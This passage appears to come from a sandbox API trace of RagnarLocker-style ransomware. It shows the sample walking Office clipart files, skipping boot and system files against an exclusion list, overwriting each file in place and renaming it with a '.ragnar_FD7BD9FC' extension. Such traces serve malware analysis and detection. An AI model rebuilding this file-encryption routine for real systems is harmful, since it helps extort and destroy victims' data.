returned 1 [0092.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x183b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.421] GetProcessHeap () returned 0x580000 [0092.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.421] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.423] VirtualAlloc (lpAddress=0x0, dwSize=0x1844, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.423] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.423] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.423] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1844, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1844, lpOverlapped=0x0) returned 1 [0092.424] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.424] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1844, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.424] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1844, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1844, lpOverlapped=0x0) returned 1 [0092.424] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1844, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.424] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.424] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.424] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.424] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.424] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.424] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.424] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.425] GetProcessHeap () returned 0x580000 [0092.425] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.425] CloseHandle (hObject=0xf4) returned 1 [0092.425] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" [0092.425] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF.ragnar_FD7BD9FC" [0092.425] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.425] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb62ee00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb62ee00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x81c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00132_.WMF", cAlternateFileName="")) returned 1 [0092.425] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.425] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY00132_.WMF" | out: lpString1="SY00132_.WMF") returned="SY00132_.WMF" [0092.425] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF") returned=".WMF" [0092.425] lstrcmpiW (lpString1="SY00132_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.426] lstrcmpiW (lpString1="SY00132_.WMF", lpString2="autorun.inf") returned 1 [0092.426] lstrcmpiW (lpString1="SY00132_.WMF", lpString2="boot.ini") returned 1 [0092.426] lstrcmpiW (lpString1="SY00132_.WMF", lpString2="bootfont.bin") returned 1 [0092.426] lstrcmpiW (lpString1="SY00132_.WMF", lpString2="bootsect.bak") returned 1 [0092.426] lstrcmpiW (lpString1="SY00132_.WMF", lpString2="bootmgr") returned 1 [0092.426] lstrcmpiW (lpString1="SY00132_.WMF", lpString2="bootmgr.efi") returned 1 [0092.426] lstrcmpiW (lpString1="SY00132_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.426] lstrcmpiW (lpString1="SY00132_.WMF", lpString2="desktop.ini") returned 1 [0092.426] lstrcmpiW (lpString1="SY00132_.WMF", lpString2="iconcache.db") returned 1 [0092.426] lstrcmpiW (lpString1="SY00132_.WMF", lpString2="ntldr") returned 1 [0092.426] lstrcmpiW (lpString1="SY00132_.WMF", lpString2="ntuser.dat") returned 1 [0092.426] lstrcmpiW (lpString1="SY00132_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.426] lstrcmpiW (lpString1="SY00132_.WMF", lpString2="ntuser.ini") returned 1 [0092.426] lstrcmpiW (lpString1="SY00132_.WMF", lpString2="thumbs.db") returned -1 [0092.426] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.426] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.426] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.426] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.426] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.426] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.426] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf")) returned 0x20 [0092.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.427] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2076) returned 1 [0092.427] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x813, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.427] GetProcessHeap () returned 0x580000 [0092.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.427] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.429] VirtualAlloc (lpAddress=0x0, dwSize=0x81c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.429] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.429] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.429] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x81c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x81c, lpOverlapped=0x0) returned 1 [0092.429] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.429] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x81c, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.429] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x81c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x81c, lpOverlapped=0x0) returned 1 [0092.429] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x81c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.429] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.430] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x81c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.430] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.430] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.430] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.430] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.430] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.430] GetProcessHeap () returned 0x580000 [0092.430] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.430] CloseHandle (hObject=0xf4) returned 1 [0092.430] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" [0092.430] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF.ragnar_FD7BD9FC" [0092.430] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.431] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f34ba00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f34ba00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1412, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00170_.WMF", cAlternateFileName="")) returned 1 [0092.431] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.431] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY00170_.WMF" | out: lpString1="SY00170_.WMF") returned="SY00170_.WMF" [0092.431] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF") returned=".WMF" [0092.431] lstrcmpiW (lpString1="SY00170_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.431] lstrcmpiW (lpString1="SY00170_.WMF", lpString2="autorun.inf") returned 1 [0092.431] lstrcmpiW (lpString1="SY00170_.WMF", lpString2="boot.ini") returned 1 [0092.431] lstrcmpiW (lpString1="SY00170_.WMF", lpString2="bootfont.bin") returned 1 [0092.431] lstrcmpiW (lpString1="SY00170_.WMF", lpString2="bootsect.bak") returned 1 [0092.431] lstrcmpiW (lpString1="SY00170_.WMF", lpString2="bootmgr") returned 1 [0092.431] lstrcmpiW (lpString1="SY00170_.WMF", lpString2="bootmgr.efi") returned 1 [0092.431] lstrcmpiW (lpString1="SY00170_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.431] lstrcmpiW (lpString1="SY00170_.WMF", lpString2="desktop.ini") returned 1 [0092.431] lstrcmpiW (lpString1="SY00170_.WMF", lpString2="iconcache.db") returned 1 [0092.431] lstrcmpiW (lpString1="SY00170_.WMF", lpString2="ntldr") returned 1 [0092.431] lstrcmpiW (lpString1="SY00170_.WMF", lpString2="ntuser.dat") returned 1 [0092.431] lstrcmpiW (lpString1="SY00170_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.431] lstrcmpiW (lpString1="SY00170_.WMF", lpString2="ntuser.ini") returned 1 [0092.431] lstrcmpiW (lpString1="SY00170_.WMF", lpString2="thumbs.db") returned -1 [0092.431] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.431] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.431] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.431] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.431] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.431] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.431] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf")) returned 0x20 [0092.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.432] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5138) returned 1 [0092.433] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1409, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.433] GetProcessHeap () returned 0x580000 [0092.433] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.433] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.434] VirtualAlloc (lpAddress=0x0, dwSize=0x1412, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.434] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.434] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.434] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1412, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1412, lpOverlapped=0x0) returned 1 [0092.435] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.435] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1412, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.435] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1412, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1412, lpOverlapped=0x0) returned 1 [0092.435] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1412, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.435] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.436] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1412, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.436] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.436] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.436] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.436] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.436] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.436] GetProcessHeap () returned 0x580000 [0092.436] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.436] CloseHandle (hObject=0xf4) returned 1 [0092.436] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" [0092.436] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF.ragnar_FD7BD9FC" [0092.436] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.437] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d702300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d702300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x50c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY00560_.WMF", cAlternateFileName="")) returned 1 [0092.437] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.437] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY00560_.WMF" | out: lpString1="SY00560_.WMF") returned="SY00560_.WMF" [0092.437] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF") returned=".WMF" [0092.437] lstrcmpiW (lpString1="SY00560_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.437] lstrcmpiW (lpString1="SY00560_.WMF", lpString2="autorun.inf") returned 1 [0092.437] lstrcmpiW (lpString1="SY00560_.WMF", lpString2="boot.ini") returned 1 [0092.437] lstrcmpiW (lpString1="SY00560_.WMF", lpString2="bootfont.bin") returned 1 [0092.437] lstrcmpiW (lpString1="SY00560_.WMF", lpString2="bootsect.bak") returned 1 [0092.437] lstrcmpiW (lpString1="SY00560_.WMF", lpString2="bootmgr") returned 1 [0092.437] lstrcmpiW (lpString1="SY00560_.WMF", lpString2="bootmgr.efi") returned 1 [0092.437] lstrcmpiW (lpString1="SY00560_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.437] lstrcmpiW (lpString1="SY00560_.WMF", lpString2="desktop.ini") returned 1 [0092.437] lstrcmpiW (lpString1="SY00560_.WMF", lpString2="iconcache.db") returned 1 [0092.437] lstrcmpiW (lpString1="SY00560_.WMF", lpString2="ntldr") returned 1 [0092.437] lstrcmpiW (lpString1="SY00560_.WMF", lpString2="ntuser.dat") returned 1 [0092.437] lstrcmpiW (lpString1="SY00560_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.437] lstrcmpiW (lpString1="SY00560_.WMF", lpString2="ntuser.ini") returned 1 [0092.437] lstrcmpiW (lpString1="SY00560_.WMF", lpString2="thumbs.db") returned -1 [0092.438] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.438] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.438] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.438] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.438] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.438] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.438] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf")) returned 0x20 [0092.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.438] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1292) returned 1 [0092.438] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x503, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.439] GetProcessHeap () returned 0x580000 [0092.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.439] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.440] VirtualAlloc (lpAddress=0x0, dwSize=0x50c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.440] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.440] SetFilePointerEx 